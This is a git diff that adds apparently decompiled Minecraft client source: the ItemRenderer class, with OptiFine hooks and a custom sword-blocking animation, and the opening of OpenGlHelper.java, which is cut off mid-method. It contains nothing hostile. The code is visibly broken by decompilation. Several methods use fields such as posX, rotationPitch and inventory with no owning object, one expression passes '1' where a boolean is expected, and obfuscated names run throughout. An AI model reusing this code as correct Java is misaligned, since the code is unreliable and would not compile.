+import net.minecraft.client.entity.EntityPlayerSP;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.renderer.block.model.ItemCameraTransforms.TransformType;
+import net.minecraft.client.renderer.entity.Render;
+import net.minecraft.client.renderer.entity.RenderItem;
+import net.minecraft.client.renderer.entity.RenderManager;
+import net.minecraft.client.renderer.entity.RenderPlayer;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumAction;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemMap;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.storage.MapData;
+import optifine.Config;
+import optifine.Reflector;
+import org.lwjgl.opengl.GL11;
+
+public class ItemRenderer
+{
+  private static final ResourceLocation RES_MAP_BACKGROUND = new ResourceLocation("textures/map/map_background.png");
+  private static final ResourceLocation RES_UNDERWATER_OVERLAY = new ResourceLocation("textures/misc/underwater.png");
+  
+
+  private final Minecraft mc;
+  
+  private ItemStack itemToRender;
+  
+  public float equippedProgress;
+  
+  public float prevEquippedProgress;
+  
+  private final RenderManager field_178111_g;
+  
+  private final RenderItem itemRenderer;
+  
+  private int equippedItemSlot = -1;
+  
+  public ItemRenderer(Minecraft mcIn)
+  {
+    mc = mcIn;
+    field_178111_g = mcIn.getRenderManager();
+    itemRenderer = mcIn.getRenderItem();
+  }
+  
+  public void renderItem(EntityLivingBase p_178099_1_, ItemStack p_178099_2_, ItemCameraTransforms.TransformType p_178099_3_)
+  {
+    if (p_178099_2_ != null)
+    {
+      Item var4 = p_178099_2_.getItem();
+      Block var5 = Block.getBlockFromItem(var4);
+      GlStateManager.pushMatrix();
+      
+      if (itemRenderer.func_175050_a(p_178099_2_))
+      {
+        GlStateManager.scale(2.0F, 2.0F, 2.0F);
+        
+        if (func_178107_a(var5))
+        {
+          GlStateManager.depthMask(false);
+        }
+      }
+      
+      itemRenderer.func_175049_a(p_178099_2_, p_178099_1_, p_178099_3_);
+      
+      if (func_178107_a(var5))
+      {
+        GlStateManager.depthMask(true);
+      }
+      
+      GlStateManager.popMatrix();
+    }
+  }
+  
+  private boolean func_178107_a(Block p_178107_1_)
+  {
+    return (p_178107_1_ != null) && (p_178107_1_.getBlockLayer() == EnumWorldBlockLayer.TRANSLUCENT);
+  }
+  
+  private void func_178101_a(float p_178101_1_, float p_178101_2_)
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.rotate(p_178101_1_, 1.0F, 0.0F, 0.0F);
+    GlStateManager.rotate(p_178101_2_, 0.0F, 1.0F, 0.0F);
+    RenderHelper.enableStandardItemLighting();
+    GlStateManager.popMatrix();
+  }
+  
+  private void func_178109_a(AbstractClientPlayer p_178109_1_)
+  {
+    int var2 = mc.theWorld.getCombinedLight(new BlockPos(posX, posY + p_178109_1_.getEyeHeight(), posZ), 0);
+    
+    if (Config.isDynamicLights())
+    {
+      var2 = optifine.DynamicLights.getCombinedLight(mc.func_175606_aa(), var2);
+    }
+    
+    float var3 = var2 & 0xFFFF;
+    float var4 = var2 >> 16;
+    OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var3, var4);
+  }
+  
+  private void func_178110_a(EntityPlayerSP p_178110_1_, float p_178110_2_)
+  {
+    float var3 = prevRenderArmPitch + (renderArmPitch - prevRenderArmPitch) * p_178110_2_;
+    float var4 = prevRenderArmYaw + (renderArmYaw - prevRenderArmYaw) * p_178110_2_;
+    GlStateManager.rotate((rotationPitch - var3) * 0.1F, 1.0F, 0.0F, 0.0F);
+    GlStateManager.rotate((rotationYaw - var4) * 0.1F, 0.0F, 1.0F, 0.0F);
+  }
+  
+  private float func_178100_c(float p_178100_1_)
+  {
+    float var2 = 1.0F - p_178100_1_ / 45.0F + 0.1F;
+    var2 = MathHelper.clamp_float(var2, 0.0F, 1.0F);
+    var2 = -MathHelper.cos(var2 * 3.1415927F) * 0.5F + 0.5F;
+    return var2;
+  }
+  
+  private void func_180534_a(RenderPlayer p_180534_1_)
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.rotate(54.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(64.0F, 1.0F, 0.0F, 0.0F);
+    GlStateManager.rotate(-62.0F, 0.0F, 0.0F, 1.0F);
+    GlStateManager.translate(0.25F, -0.85F, 0.75F);
+    p_180534_1_.func_177138_b(mc.thePlayer);
+    GlStateManager.popMatrix();
+  }
+  
+  private void func_178106_b(RenderPlayer p_178106_1_)
+  {
+    GlStateManager.pushMatrix();
+    GlStateManager.rotate(92.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(45.0F, 1.0F, 0.0F, 0.0F);
+    GlStateManager.rotate(41.0F, 0.0F, 0.0F, 1.0F);
+    GlStateManager.translate(-0.3F, -1.1F, 0.45F);
+    p_178106_1_.func_177139_c(mc.thePlayer);
+    GlStateManager.popMatrix();
+  }
+  
+  private void func_178102_b(AbstractClientPlayer p_178102_1_)
+  {
+    mc.getTextureManager().bindTexture(p_178102_1_.getLocationSkin());
+    Render var2 = field_178111_g.getEntityRenderObject(mc.thePlayer);
+    RenderPlayer var3 = (RenderPlayer)var2;
+    
+    if (!p_178102_1_.isInvisible())
+    {
+      func_180534_a(var3);
+      func_178106_b(var3);
+    }
+  }
+  
+  private void func_178097_a(AbstractClientPlayer p_178097_1_, float p_178097_2_, float p_178097_3_, float p_178097_4_)
+  {
+    float var5 = -0.4F * MathHelper.sin(MathHelper.sqrt_float(p_178097_4_) * 3.1415927F);
+    float var6 = 0.2F * MathHelper.sin(MathHelper.sqrt_float(p_178097_4_) * 3.1415927F * 2.0F);
+    float var7 = -0.2F * MathHelper.sin(p_178097_4_ * 3.1415927F);
+    GlStateManager.translate(var5, var6, var7);
+    float var8 = func_178100_c(p_178097_2_);
+    GlStateManager.translate(0.0F, 0.04F, -0.72F);
+    GlStateManager.translate(0.0F, p_178097_3_ * -1.2F, 0.0F);
+    GlStateManager.translate(0.0F, var8 * -0.5F, 0.0F);
+    GlStateManager.rotate(90.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(var8 * -85.0F, 0.0F, 0.0F, 1.0F);
+    GlStateManager.rotate(0.0F, 1.0F, 0.0F, 0.0F);
+    func_178102_b(p_178097_1_);
+    float var9 = MathHelper.sin(p_178097_4_ * p_178097_4_ * 3.1415927F);
+    float var10 = MathHelper.sin(MathHelper.sqrt_float(p_178097_4_) * 3.1415927F);
+    GlStateManager.rotate(var9 * -20.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(var10 * -20.0F, 0.0F, 0.0F, 1.0F);
+    GlStateManager.rotate(var10 * -80.0F, 1.0F, 0.0F, 0.0F);
+    GlStateManager.scale(0.38F, 0.38F, 0.38F);
+    GlStateManager.rotate(90.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(180.0F, 0.0F, 0.0F, 1.0F);
+    GlStateManager.rotate(0.0F, 1.0F, 0.0F, 0.0F);
+    GlStateManager.translate(-1.0F, -1.0F, 0.0F);
+    GlStateManager.scale(0.015625F, 0.015625F, 0.015625F);
+    mc.getTextureManager().bindTexture(RES_MAP_BACKGROUND);
+    Tessellator var11 = Tessellator.getInstance();
+    WorldRenderer var12 = var11.getWorldRenderer();
+    GL11.glNormal3f(0.0F, 0.0F, -1.0F);
+    var12.startDrawingQuads();
+    var12.addVertexWithUV(-7.0D, 135.0D, 0.0D, 0.0D, 1.0D);
+    var12.addVertexWithUV(135.0D, 135.0D, 0.0D, 1.0D, 1.0D);
+    var12.addVertexWithUV(135.0D, -7.0D, 0.0D, 1.0D, 0.0D);
+    var12.addVertexWithUV(-7.0D, -7.0D, 0.0D, 0.0D, 0.0D);
+    var11.draw();
+    MapData var13 = Items.filled_map.getMapData(itemToRender, mc.theWorld);
+    
+    if (var13 != null)
+    {
+      mc.entityRenderer.getMapItemRenderer().func_148250_a(var13, false);
+    }
+  }
+  
+  private void func_178095_a(AbstractClientPlayer p_178095_1_, float p_178095_2_, float p_178095_3_)
+  {
+    float var4 = -0.3F * MathHelper.sin(MathHelper.sqrt_float(p_178095_3_) * 3.1415927F);
+    float var5 = 0.4F * MathHelper.sin(MathHelper.sqrt_float(p_178095_3_) * 3.1415927F * 2.0F);
+    float var6 = -0.4F * MathHelper.sin(p_178095_3_ * 3.1415927F);
+    GlStateManager.translate(var4, var5, var6);
+    GlStateManager.translate(0.64000005F, -0.6F, -0.71999997F);
+    GlStateManager.translate(0.0F, p_178095_2_ * -0.6F, 0.0F);
+    GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F);
+    float var7 = MathHelper.sin(p_178095_3_ * p_178095_3_ * 3.1415927F);
+    float var8 = MathHelper.sin(MathHelper.sqrt_float(p_178095_3_) * 3.1415927F);
+    GlStateManager.rotate(var8 * 70.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(var7 * -20.0F, 0.0F, 0.0F, 1.0F);
+    mc.getTextureManager().bindTexture(p_178095_1_.getLocationSkin());
+    GlStateManager.translate(-1.0F, 3.6F, 3.5F);
+    GlStateManager.rotate(120.0F, 0.0F, 0.0F, 1.0F);
+    GlStateManager.rotate(200.0F, 1.0F, 0.0F, 0.0F);
+    GlStateManager.rotate(-135.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.scale(1.0F, 1.0F, 1.0F);
+    GlStateManager.translate(5.6F, 0.0F, 0.0F);
+    Render var9 = field_178111_g.getEntityRenderObject(mc.thePlayer);
+    RenderPlayer var10 = (RenderPlayer)var9;
+    var10.func_177138_b(mc.thePlayer);
+  }
+  
+  private void func_178105_d(float p_178105_1_)
+  {
+    float var2 = -0.4F * MathHelper.sin(MathHelper.sqrt_float(p_178105_1_) * 3.1415927F);
+    float var3 = 0.2F * MathHelper.sin(MathHelper.sqrt_float(p_178105_1_) * 3.1415927F * 2.0F);
+    float var4 = -0.2F * MathHelper.sin(p_178105_1_ * 3.1415927F);
+    GlStateManager.translate(var2, var3, var4);
+  }
+  
+  private void func_178104_a(AbstractClientPlayer p_178104_1_, float p_178104_2_)
+  {
+    float var3 = p_178104_1_.getItemInUseCount() - p_178104_2_ + 1.0F;
+    float var4 = var3 / itemToRender.getMaxItemUseDuration();
+    float var5 = MathHelper.abs(MathHelper.cos(var3 / 4.0F * 3.1415927F) * 0.1F);
+    
+    if (var4 >= 0.8F)
+    {
+      var5 = 0.0F;
+    }
+    
+    GlStateManager.translate(0.0F, var5, 0.0F);
+    float var6 = 1.0F - (float)Math.pow(var4, 27.0D);
+    GlStateManager.translate(var6 * 0.6F, var6 * -0.5F, var6 * 0.0F);
+    GlStateManager.rotate(var6 * 90.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(var6 * 10.0F, 1.0F, 0.0F, 0.0F);
+    GlStateManager.rotate(var6 * 30.0F, 0.0F, 0.0F, 1.0F);
+  }
+  
+  public void func_178096_b(float p_178096_1_, float p_178096_2_)
+  {
+    GlStateManager.translate(0.56F, -0.52F, -0.71999997F);
+    GlStateManager.translate(0.0F, p_178096_1_ * -0.6F, 0.0F);
+    GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F);
+    float var3 = MathHelper.sin(p_178096_2_ * p_178096_2_ * 3.1415927F);
+    float var4 = MathHelper.sin(MathHelper.sqrt_float(p_178096_2_) * 3.1415927F);
+    GlStateManager.rotate(var3 * -20.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(var4 * -20.0F, 0.0F, 0.0F, 1.0F);
+    GlStateManager.rotate(var4 * -80.0F, 1.0F, 0.0F, 0.0F);
+    GlStateManager.scale(0.4F, 0.4F, 0.4F);
+  }
+  
+  private void func_178098_a(float p_178098_1_, AbstractClientPlayer p_178098_2_)
+  {
+    GlStateManager.rotate(-18.0F, 0.0F, 0.0F, 1.0F);
+    GlStateManager.rotate(-12.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(-8.0F, 1.0F, 0.0F, 0.0F);
+    GlStateManager.translate(-0.9F, 0.2F, 0.0F);
+    float var3 = itemToRender.getMaxItemUseDuration() - (p_178098_2_.getItemInUseCount() - p_178098_1_ + 1.0F);
+    float var4 = var3 / 20.0F;
+    var4 = (var4 * var4 + var4 * 2.0F) / 3.0F;
+    
+    if (var4 > 1.0F)
+    {
+      var4 = 1.0F;
+    }
+    
+    if (var4 > 0.1F)
+    {
+      float var5 = MathHelper.sin((var3 - 0.1F) * 1.3F);
+      float var6 = var4 - 0.1F;
+      float var7 = var5 * var6;
+      GlStateManager.translate(var7 * 0.0F, var7 * 0.01F, var7 * 0.0F);
+    }
+    
+    GlStateManager.translate(var4 * 0.0F, var4 * 0.0F, var4 * 0.1F);
+    GlStateManager.scale(1.0F, 1.0F, 1.0F + var4 * 0.2F);
+  }
+  
+  public void func_178103_d()
+  {
+    GlStateManager.translate(-0.5F, 0.2F, 0.0F);
+    GlStateManager.rotate(30.0F, 0.0F, 1.0F, 0.0F);
+    GlStateManager.rotate(-80.0F, 1.0F, 0.0F, 0.0F);
+    GlStateManager.rotate(60.0F, 0.0F, 1.0F, 0.0F);
+  }
+  
+
+
+
+  public void renderItemInFirstPerson(float p_78440_1_)
+  {
+    float var2 = 1.0F - (prevEquippedProgress + (equippedProgress - prevEquippedProgress) * p_78440_1_);
+    EntityPlayerSP var3 = mc.thePlayer;
+    float var4 = var3.getSwingProgress(p_78440_1_);
+    float var5 = prevRotationPitch + (rotationPitch - prevRotationPitch) * p_78440_1_;
+    float var6 = prevRotationYaw + (rotationYaw - prevRotationYaw) * p_78440_1_;
+    func_178101_a(var5, var6);
+    func_178109_a(var3);
+    func_178110_a(var3, p_78440_1_);
+    GlStateManager.enableRescaleNormal();
+    GlStateManager.pushMatrix();
+    
+    if (itemToRender != null)
+    {
+      if ((itemToRender.getItem() instanceof ItemMap))
+      {
+        func_178097_a(var3, var5, var2, var4);
+
+      }
+      else if (var3.getItemInUseCount() > 0)
+      {
+
+        EnumAction var7 = itemToRender.getItemUseAction();
+        
+        switch (SwitchEnumAction.field_178094_a[var7.ordinal()])
+        {
+        case 1: 
+          func_178096_b(var2, 0.0F);
+          break;
+        
+        case 2: 
+        case 3: 
+          func_178104_a(var3, p_78440_1_);
+          func_178096_b(var2, 0.0F);
+          break;
+        
+        case 4: 
+          genCustom(var2, var4);
+          func_178103_d();
+          
+          break;
+        
+        case 5: 
+          func_178096_b(var2, 0.0F);
+          func_178098_a(p_78440_1_, var3);
+        }
+      }
+      else
+      {
+        func_178105_d(var4);
+        func_178096_b(var2, var4);
+      }
+      
+      renderItem(var3, itemToRender, ItemCameraTransforms.TransformType.FIRST_PERSON);
+    }
+    else if (!var3.isInvisible())
+    {
+      func_178095_a(var3, var2, var4);
+    }
+    
+    GlStateManager.popMatrix();
+    GlStateManager.disableRescaleNormal();
+    RenderHelper.disableStandardItemLighting();
+  }
+  
+  private void genCustom(float p_178096_1_, float p_178096_2_) {
+    GlStateManager.translate(0.56F, -0.52F, -0.71999997F);
+    GlStateManager.translate(0.0F, p_178096_1_ * -0.6F, 0.0F);
+    GlStateManager.rotate(45.0F, 0.0F, 1.0F, 0.0F);
+    float var3 = MathHelper.sin(p_178096_2_ * p_178096_2_ * 3.1415927F);
+    float var4 = MathHelper.sin(MathHelper.sqrt_float(p_178096_2_) * 3.1415927F);
+    GlStateManager.rotate(var3 * -34.0F, 0.0F, 1.0F, 0.2F);
+    GlStateManager.rotate(var4 * -20.7F, 0.2F, 0.1F, 1.0F);
+    GlStateManager.rotate(var4 * -68.6F, 1.3F, 0.1F, 0.2F);
+    GlStateManager.scale(0.4F, 0.4F, 0.4F);
+  }
+  
+
+
+
+  public void renderOverlays(float p_78447_1_)
+  {
+    
+    
+
+    if (mc.thePlayer.isEntityInsideOpaqueBlock())
+    {
+      BlockPos blockPos = new BlockPos(mc.thePlayer);
+      IBlockState var2 = mc.theWorld.getBlockState(blockPos);
+      EntityPlayerSP var3 = mc.thePlayer;
+      
+      for (int overlayType = 0; overlayType < 8; overlayType++)
+      {
+        double var5 = posX + ((overlayType >> 0) % 2 - 0.5F) * width * 0.8F;
+        double var7 = posY + ((overlayType >> 1) % 2 - 0.5F) * 0.1F;
+        double var9 = posZ + ((overlayType >> 2) % 2 - 0.5F) * width * 0.8F;
+        blockPos = new BlockPos(var5, var7 + var3.getEyeHeight(), var9);
+        IBlockState var12 = mc.theWorld.getBlockState(blockPos);
+        
+        if (var12.getBlock().isVisuallyOpaque())
+        {
+          var2 = var12;
+        }
+      }
+      
+      if (var2.getBlock().getRenderType() != -1)
+      {
+        Object var13 = Reflector.getFieldValue(Reflector.RenderBlockOverlayEvent_OverlayType_BLOCK);
+        
+        if (!Reflector.callBoolean(Reflector.ForgeEventFactory_renderBlockOverlay, new Object[] { mc.thePlayer, Float.valueOf(p_78447_1_), var13, var2, blockPos }))
+        {
+          func_178108_a(p_78447_1_, mc.getBlockRendererDispatcher().func_175023_a().func_178122_a(var2));
+        }
+      }
+    }
+    
+    if (!mc.thePlayer.func_175149_v())
+    {
+      if (mc.thePlayer.isInsideOfMaterial(Material.water)) { if (!Reflector.callBoolean(Reflector.ForgeEventFactory_renderWaterOverlay, new Object[] { mc.thePlayer, Float.valueOf(p_78447_1_) }))
+        {
+          renderWaterOverlayTexture(p_78447_1_);
+        }
+      }
+      if (mc.thePlayer.isBurning()) { if (!Reflector.callBoolean(Reflector.ForgeEventFactory_renderFireOverlay, new Object[] { mc.thePlayer, Float.valueOf(p_78447_1_) }))
+        {
+          renderFireInFirstPerson(p_78447_1_);
+        }
+      }
+    }
+    GlStateManager.enableAlpha();
+  }
+  
+  private void func_178108_a(float p_178108_1_, TextureAtlasSprite p_178108_2_)
+  {
+    mc.getTextureManager().bindTexture(TextureMap.locationBlocksTexture);
+    Tessellator var3 = Tessellator.getInstance();
+    WorldRenderer var4 = var3.getWorldRenderer();
+    float var5 = 0.1F;
+    GlStateManager.color(var5, var5, var5, 0.5F);
+    GlStateManager.pushMatrix();
+    float var6 = -1.0F;
+    float var7 = 1.0F;
+    float var8 = -1.0F;
+    float var9 = 1.0F;
+    float var10 = -0.5F;
+    float var11 = p_178108_2_.getMinU();
+    float var12 = p_178108_2_.getMaxU();
+    float var13 = p_178108_2_.getMinV();
+    float var14 = p_178108_2_.getMaxV();
+    var4.startDrawingQuads();
+    var4.addVertexWithUV(var6, var8, var10, var12, var14);
+    var4.addVertexWithUV(var7, var8, var10, var11, var14);
+    var4.addVertexWithUV(var7, var9, var10, var11, var13);
+    var4.addVertexWithUV(var6, var9, var10, var12, var13);
+    var3.draw();
+    GlStateManager.popMatrix();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+
+
+
+
+  private void renderWaterOverlayTexture(float p_78448_1_)
+  {
+    mc.getTextureManager().bindTexture(RES_UNDERWATER_OVERLAY);
+    Tessellator var2 = Tessellator.getInstance();
+    WorldRenderer var3 = var2.getWorldRenderer();
+    float var4 = mc.thePlayer.getBrightness(p_78448_1_);
+    GlStateManager.color(var4, var4, var4, 0.5F);
+    GlStateManager.enableBlend();
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    GlStateManager.pushMatrix();
+    float var5 = 4.0F;
+    float var6 = -1.0F;
+    float var7 = 1.0F;
+    float var8 = -1.0F;
+    float var9 = 1.0F;
+    float var10 = -0.5F;
+    float var11 = -mc.thePlayer.rotationYaw / 64.0F;
+    float var12 = mc.thePlayer.rotationPitch / 64.0F;
+    var3.startDrawingQuads();
+    var3.addVertexWithUV(var6, var8, var10, var5 + var11, var5 + var12);
+    var3.addVertexWithUV(var7, var8, var10, 0.0F + var11, var5 + var12);
+    var3.addVertexWithUV(var7, var9, var10, 0.0F + var11, 0.0F + var12);
+    var3.addVertexWithUV(var6, var9, var10, var5 + var11, 0.0F + var12);
+    var2.draw();
+    GlStateManager.popMatrix();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.disableBlend();
+  }
+  
+
+
+
+  private void renderFireInFirstPerson(float p_78442_1_)
+  {
+    Tessellator var2 = Tessellator.getInstance();
+    WorldRenderer var3 = var2.getWorldRenderer();
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 0.9F);
+    GlStateManager.depthFunc(519);
+    GlStateManager.depthMask(false);
+    GlStateManager.enableBlend();
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    float var4 = 1.0F;
+    
+    for (int var5 = 0; var5 < 2; var5++)
+    {
+      GlStateManager.pushMatrix();
+      TextureAtlasSprite var6 = mc.getTextureMapBlocks().getAtlasSprite("minecraft:blocks/fire_layer_1");
+      mc.getTextureManager().bindTexture(TextureMap.locationBlocksTexture);
+      float var7 = var6.getMinU();
+      float var8 = var6.getMaxU();
+      float var9 = var6.getMinV();
+      float var10 = var6.getMaxV();
+      float var11 = (0.0F - var4) / 2.0F;
+      float var12 = var11 + var4;
+      float var13 = 0.0F - var4 / 2.0F;
+      float var14 = var13 + var4;
+      float var15 = -0.5F;
+      GlStateManager.translate(-(var5 * 2 - 1) * 0.24F, -0.3F, 0.0F);
+      GlStateManager.rotate((var5 * 2 - 1) * 10.0F, 0.0F, 1.0F, 0.0F);
+      var3.startDrawingQuads();
+      var3.addVertexWithUV(var11, var13, var15, var8, var10);
+      var3.addVertexWithUV(var12, var13, var15, var7, var10);
+      var3.addVertexWithUV(var12, var14, var15, var7, var9);
+      var3.addVertexWithUV(var11, var14, var15, var8, var9);
+      var2.draw();
+      GlStateManager.popMatrix();
+    }
+    
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    GlStateManager.disableBlend();
+    GlStateManager.depthMask(true);
+    GlStateManager.depthFunc(515);
+  }
+  
+  public void updateEquippedItem()
+  {
+    prevEquippedProgress = equippedProgress;
+    EntityPlayerSP var1 = mc.thePlayer;
+    ItemStack var2 = inventory.getCurrentItem();
+    boolean var3 = false;
+    
+    if ((itemToRender != null) && (var2 != null))
+    {
+      if (!itemToRender.getIsItemStackEqual(var2))
+      {
+        if (Reflector.ForgeItem_shouldCauseReequipAnimation.exists())
+        {
+          boolean var4 = Reflector.callBoolean(itemToRender.getItem(), Reflector.ForgeItem_shouldCauseReequipAnimation, new Object[] { itemToRender, var2, Boolean.valueOf(equippedItemSlot != inventory.currentItem ? 1 : false) });
+          
+          if (!var4)
+          {
+            itemToRender = var2;
+            equippedItemSlot = inventory.currentItem;
+            return;
+          }
+        }
+        
+        var3 = true;
+      }
+    }
+    else if ((itemToRender == null) && (var2 == null))
+    {
+      var3 = false;
+    }
+    else
+    {
+      var3 = true;
+    }
+    
+    float var41 = 0.4F;
+    float var5 = var3 ? 0.0F : 1.0F;
+    float var6 = MathHelper.clamp_float(var5 - equippedProgress, -var41, var41);
+    equippedProgress += var6;
+    
+    if (equippedProgress < 0.1F)
+    {
+      if (Config.isShaders())
+      {
+        shadersmod.client.Shaders.itemToRender = var2;
+      }
+      
+      itemToRender = var2;
+      equippedItemSlot = inventory.currentItem;
+    }
+  }
+  
+
+
+
+  public void resetEquippedProgress()
+  {
+    equippedProgress = 0.0F;
+  }
+  
+
+
+
+  public void resetEquippedProgress2()
+  {
+    equippedProgress = 0.0F;
+  }
+  
+  static final class SwitchEnumAction
+  {
+    static final int[] field_178094_a = new int[EnumAction.values().length];
+    
+    static
+    {
+      try
+      {
+        field_178094_a[EnumAction.NONE.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178094_a[EnumAction.EAT.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_178094_a[EnumAction.DRINK.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_178094_a[EnumAction.BLOCK.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_178094_a[EnumAction.BOW.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+    }
+    
+    SwitchEnumAction() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/OpenGlHelper.java b/src/minecraft/net/minecraft/client/renderer/OpenGlHelper.java
new file mode 100644
index 0000000..94d5c55
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/OpenGlHelper.java
@@ -0,0 +1,897 @@
+package net.minecraft.client.renderer;
+
+import java.nio.ByteBuffer;
+import java.nio.FloatBuffer;
+import java.nio.IntBuffer;
+import optifine.Config;
+import org.lwjgl.opengl.ARBFramebufferObject;
+import org.lwjgl.opengl.ARBMultitexture;
+import org.lwjgl.opengl.ARBShaderObjects;
+import org.lwjgl.opengl.ARBVertexBufferObject;
+import org.lwjgl.opengl.ARBVertexShader;
+import org.lwjgl.opengl.ContextCapabilities;
+import org.lwjgl.opengl.EXTBlendFuncSeparate;
+import org.lwjgl.opengl.EXTFramebufferObject;
+import org.lwjgl.opengl.GL11;
+import org.lwjgl.opengl.GL13;
+import org.lwjgl.opengl.GL14;
+import org.lwjgl.opengl.GL15;
+import org.lwjgl.opengl.GL20;
+import org.lwjgl.opengl.GL30;
+import org.lwjgl.opengl.GLContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OpenGlHelper
+{
+  public static boolean field_153197_d;
+  public static int field_153198_e;
+  public static int field_153199_f;
+  public static int field_153200_g;
+  public static int field_153201_h;
+  public static int field_153202_i;
+  public static int field_153203_j;
+  public static int field_153204_k;
+  public static int field_153205_l;
+  public static int field_153206_m;
+  private static int field_153212_w;
+  public static boolean framebufferSupported;
+  private static boolean field_153213_x;
+  private static boolean field_153214_y;
+  public static int GL_LINK_STATUS;
+  public static int GL_COMPILE_STATUS;
+  public static int GL_VERTEX_SHADER;
+  public static int GL_FRAGMENT_SHADER;
+  private static boolean field_153215_z;
+  public static int defaultTexUnit;
+  public static int lightmapTexUnit;
+  public static int field_176096_r;
+  private static boolean field_176088_V;
+  public static int field_176095_s;
+  public static int field_176094_t;
+  public static int field_176093_u;
+  public static int field_176092_v;
+  public static int field_176091_w;
+  public static int field_176099_x;
+  public static int field_176098_y;
+  public static int field_176097_z;
+  public static int field_176080_A;
+  public static int field_176081_B;
+  public static int field_176082_C;
+  public static int field_176076_D;
+  public static int field_176077_E;
+  public static int field_176078_F;
+  public static int field_176079_G;
+  public static int field_176084_H;
+  public static int field_176085_I;
+  public static int field_176086_J;
+  public static int field_176087_K;
+  private static boolean openGL14;
+  public static boolean field_153211_u;
+  public static boolean openGL21;
+  public static boolean shadersSupported;
+  private static String field_153196_B = "";
+  public static boolean field_176083_O;
+  private static boolean field_176090_Y;
+  public static int field_176089_P;
+  public static int anisotropicFilteringMax;
+  private static final String __OBFID = "CL_00001179";
+  public static float lastBrightnessX = 0.0F;
+  public static float lastBrightnessY = 0.0F;
+  
+
+  public OpenGlHelper() {}
+  
+  public static void initializeTextures()
+  {
+    Config.initDisplay();
+    ContextCapabilities var0 = GLContext.getCapabilities();
+    field_153215_z = (GL_ARB_multitexture) && (!OpenGL13);
+    field_176088_V = (GL_ARB_texture_env_combine) && (!OpenGL13);
+    
+    if (field_153215_z)
+    {
+      field_153196_B += "Using ARB_multitexture.\n";
+      defaultTexUnit = 33984;
+      lightmapTexUnit = 33985;
+      field_176096_r = 33986;
+    }
+    else
+    {
+      field_153196_B += "Using GL 1.3 multitexturing.\n";
+      defaultTexUnit = 33984;
+      lightmapTexUnit = 33985;
+      field_176096_r = 33986;
+    }
+    
+    if (field_176088_V)
+    {
+      field_153196_B += "Using ARB_texture_env_combine.\n";
+      field_176095_s = 34160;
+      field_176094_t = 34165;
+      field_176093_u = 34167;
+      field_176092_v = 34166;
+      field_176091_w = 34168;
+      field_176099_x = 34161;
+      field_176098_y = 34176;
+      field_176097_z = 34177;
+      field_176080_A = 34178;
+      field_176081_B = 34192;
+      field_176082_C = 34193;
+      field_176076_D = 34194;
+      field_176077_E = 34162;
+      field_176078_F = 34184;
+      field_176079_G = 34185;
+      field_176084_H = 34186;
+      field_176085_I = 34200;
+      field_176086_J = 34201;
+      field_176087_K = 34202;
+    }
+    else
+    {
+      field_153196_B += "Using GL 1.3 texture combiners.\n";
+      field_176095_s = 34160;
+      field_176094_t = 34165;
+      field_176093_u = 34167;
+      field_176092_v = 34166;
+      field_176091_w = 34168;
+      field_176099_x = 34161;
+      field_176098_y = 34176;
+      field_176097_z = 34177;
+      field_176080_A = 34178;
+      field_176081_B = 34192;
+      field_176082_C = 34193;
+      field_176076_D = 34194;
+      field_176077_E = 34162;
+      field_176078_F = 34184;
+      field_176079_G = 34185;
+      field_176084_H = 34186;
+      field_176085_I = 34200;
+      field_176086_J = 34201;
+      field_176087_K = 34202;
+    }
+    
+    field_153211_u = (GL_EXT_blend_func_separate) && (!OpenGL14);
+    openGL14 = (OpenGL14) || (GL_EXT_blend_func_separate);
+    framebufferSupported = (openGL14) && ((GL_ARB_framebuffer_object) || (GL_EXT_framebuffer_object) || (OpenGL30));
+    
+    if (framebufferSupported)
+    {
+      field_153196_B += "Using framebuffer objects because ";
+      
+      if (OpenGL30)
+      {
+        field_153196_B += "OpenGL 3.0 is supported and separate blending is supported.\n";
+        field_153212_w = 0;
+        field_153198_e = 36160;
+        field_153199_f = 36161;
+        field_153200_g = 36064;
